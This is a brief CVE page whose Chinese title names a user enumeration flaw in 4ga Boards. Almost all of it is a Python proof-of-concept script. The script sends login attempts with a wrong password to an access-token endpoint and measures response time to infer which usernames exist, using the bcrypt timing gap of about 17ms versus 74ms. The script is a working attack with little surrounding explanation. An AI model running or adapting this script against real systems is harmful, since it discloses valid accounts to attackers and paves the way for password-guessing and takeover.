CVE-2026-41418: 4ga Boards用户枚举漏洞

import requests import time # PoC for User Enumeration via Timing Analysis in 4ga Boards target_url = "http://target-domain/api/access-tokens" username_to_check = "admin" def check_user(username): payload = { "username": username, "password": "incorrect_password_placeholder" } start_time = time.time() # Send POST request to login endpoint response = requests.post(target_url, data=payload) end_time = time.time() duration = (end_time - start_time) * 1000 # Convert to milliseconds print(f"Response time for '{username}': {duration:.2f}ms") # Threshold based on vulnerability description: ~17ms (invalid) vs ~74ms (valid) if duration > 50: print(f"[+] User '{username}' likely exists (High latency due to bcrypt).") else: print(f"[-] User '{username}' likely does not exist (Low latency).") check_user(username_to_check)